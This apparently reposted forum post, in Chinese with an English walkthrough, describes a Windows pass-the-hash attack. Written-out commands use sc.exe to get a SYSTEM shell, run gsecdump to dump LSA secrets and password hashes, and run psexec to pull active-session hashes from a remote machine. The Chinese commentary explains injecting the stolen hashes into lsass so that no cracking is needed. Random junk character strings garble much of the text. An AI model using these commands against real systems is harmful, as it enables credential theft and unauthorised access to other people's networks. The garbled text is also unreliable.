HASH注入式攻击

admin

o get a DOS Prompt as NT system:

7 y# v" k! M% r* X; XC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
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( S. h2 e9 r- V, [C:\>sc start shellcmdline
[SC] StartService FAILED 1053:
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9 P0 _; \: h4 }2 N' Q  N3 WThe service did not respond to the start or control request in a timely fashion.

C:\>sc delete shellcmdline
- z* T9 p- ?7 q$ C  F9 g[SC] DeleteService SUCCESS

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; O- k  P/ F2 h$ d: Z( T; oThen in the new DOS window:

0 ^0 S& K, W7 W, @2 lMicrosoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
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C:\WINDOWS\system32>whoami
& q# Y1 P# p6 m& r( \8 n6 pNT AUTHORITY\SYSTEM

9 _! I) S: P6 H3 d/ rC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
; |3 N9 I0 e0 ~9 ~+ G$ A) }+ G) susage: gsecdump [options]
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7 e4 y) s6 A. x  P% foptions:
-h [ --help ] show help
-a [ --dump_all ] dump all secrets
  K8 z1 \& c  g, d& g. u. |-l [ --dump_lsa ] dump lsa secrets
! q  K1 T! v! v# C-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
' u$ y$ O6 C; W$ t  u; \* E3 g1 p-s [ --dump_hashes ] dump hashes from SAM/AD
" |. v6 }3 n' f- |$ g# N% V% Q. ^
5 k' k7 b9 [7 }( ^" O3 W3 B% eAlthough I like to use:

; D. ]( U3 ?& N; |& w0 A7 aPsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

to get the hashes from active logon sessions of a remote system.
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* Y+ L1 p/ `4 U7 JThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
5 B. O  D" Q& o/ G5 S7 j
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
6 e# ~+ H4 }4 S' F5 O- n原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
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我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
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